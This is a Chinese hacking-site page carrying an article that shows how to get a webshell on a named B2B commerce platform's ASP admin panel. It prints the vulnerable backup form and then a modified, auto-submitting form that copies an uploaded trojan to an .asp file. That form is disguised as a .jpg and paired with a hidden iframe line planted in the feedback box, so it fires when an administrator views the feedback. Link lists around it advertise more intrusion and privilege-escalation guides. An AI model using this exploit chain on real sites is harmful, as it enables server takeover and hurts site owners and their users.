·	没有路由密码权限时的鸽	08-23	·	上网安全 Vista自我防范	10-11
·	让濒临崩溃的Windows XP	10-11	·	有备无患，快速自制救急	10-11
·	要你好看!Windows看图工	10-11	·	空间赞助网提供不同类型	10-11
·	讨论net.exe和net1.exe的	10-10	·	让3389远程桌面传输更通	10-10
·	巧妙入侵渗透赌博站	10-10	·	Aspx空间扫权限工具	10-10
·	Windows2003最新提权工具	10-10	·	易淘乐提供100M免费全能	10-10
·	系统开机密码忘了不着急	10-09	·	中意网络提供免费100M免	10-09
·	与众不同 Windows XP开始	10-08	·	让桌面图标翻跟斗在XP上	10-08
·	上海宽元站长资助计划-提	10-08	·	个性化Windows XP的任务	10-07
·	趣盘提供3G免费网络硬盘	10-07	·	秀山热线提供200MB免费全	10-07
·	一次艰辛的提权过程	10-06	·	成功入侵IT大卖场的渗透	10-06
·	mysqlhack- MYSQL利用工	10-06	·	lanker一句话PHP后门客户	10-06
·	WIXI提供3G免费多媒体网	10-06	·	新人网络提供100M/ftp免	10-06
·	如何利用QQ带来高流量	10-05	·	UuShare提供免费网络文件	10-05

[组图]跨站跨出WEBSHELL---网域高科行业B2B商务平台实例

热荐 ★★★★★

跨站跨出WEBSHELL---网域高科行业B2B商务平台实例

文章整理发布：黑客风云文章来源：www.05112.com 更新时间：2008-1-28 8:39:28

先看看他的数据库备份代码是怎么写地，在admin\System\admin_backdb.asp文件中的108 到129代码如下：

以下是引用片段：
<form name="form1" method="POST" action="admin_backdb.asp?action=back">
<table width="100%" border="1" align="center" cellpadding="5" cellspacing="0" bordercolorlight="#cccccc" bordercolordark="#FFFFFF">
<tr>
<td bgcolor="#efefef" height=25><strong>备份数据库</strong></td>
</tr>
<tr>
<td height=25>你的空间只有支持fso才可以进行如下操作，否则你只能手动备份</td>
</tr>
<tr>
<td height=25>数据库路径：
<input type="text" name="currf" size="30" value="<%=db%>"></span>   备份数据目录： 
<input type="text" name="backf" size="20" value="mdbback"></td>
</tr>
<tr>
<td height=25>数据库名称：
<input type="text" name="backfy" size="20" value="back.asp"> 
<input type="submit" name="Submit" value="备份" >
<input type="reset" name="Submit2" value="重置" >
</td>
</tr>
</table>
</form>

　　我们可以先上传一个RAR的马儿，然后在数据库路径里填上，马的地址为："/oledit/UploadFile/200712/2007121544821758.rar"，这里需要注意的是路径一定要填对，否则备份就会不成功的。改动好的代码如下：

以下是引用片段：
<html>
<form name="form" method="POST" action="../../../admin/System/admin_backdb.asp?action=back">
<table width="100%" border="1" align="center" cellpadding="5" cellspacing="0" bordercolorlight="#cccccc" bordercolordark="#FFFFFF">
<tr>
<td bgcolor="#efefef" height=25><strong>备份数据库</strong></td>
</tr>
<tr>
<td height=25>你的空间只有支持fso才可以进行如下操作，否则你只能手动备份</td>
</tr>
<tr>
<td height=25>数据库路径：
<input type="text" name="currf" size="30" value="../../oledit/UploadFile/200712/2007121544821758.rar"></span>   备份数据目录： 
<input type="text" name="backf" size="20" value="hacklu"></td>
</tr>
<tr>
<td height=25>数据库名称：
<input type="text" name="backfy" size="20" value="hacklu.asp"> 
<input type="submit" name="Submit" value="备份" >
</td>
</tr>
</table>
</form>
<script>document.form.submit()</script>
</html>

把这个保存为XX.jpg上传到服务器，因为HTML改成JPG是可以解析的，路径为：oledit/UploadFile/200712/200712155756468.jpg，在意见反馈里写上如下挂马语句：

以下是引用片段：
<iframe src="../oledit/UploadFile/200712/200712155756468.jpg" width=0 height=0></iframe>

如图3，这样当管理员看到时就会自动备份出WEBSHELL来了，如图4，图5所示。

其实跨站还有很多可以做到的事，限于小天摧稿比较急，剩下的留给大家去挖掘吧。

上一页 [1] [2]

文章录入：cainiaowang 责任编辑：cainiaowang

上一篇文章：黑客如何利用文件包含漏洞进行网站入侵

下一篇文章：酷蝶XP留言簿的跨站利用

【字体：小大】

中介交易区

实例讲解跨站入侵攻防战之攻击篇	05-08
对偶偶娱乐分站服务器的安全检测	04-23
入侵88red系统的详细过程	04-07
对趋势科技等数万网站被攻击的分	03-21
凡人网络购物系统 V8.0 简体中文	03-18
linux平台下渗透日本著名XXXXXX.	03-18
搜索框所引起的XSS漏洞	03-05
跳转漏洞的利用	03-05
对复旦大学的一次漫长渗透	03-03
.net一句话马以及dx论坛拿shell	03-01
php渗透入侵过程图文详解	03-01
DJ网站的入侵详细过程	02-26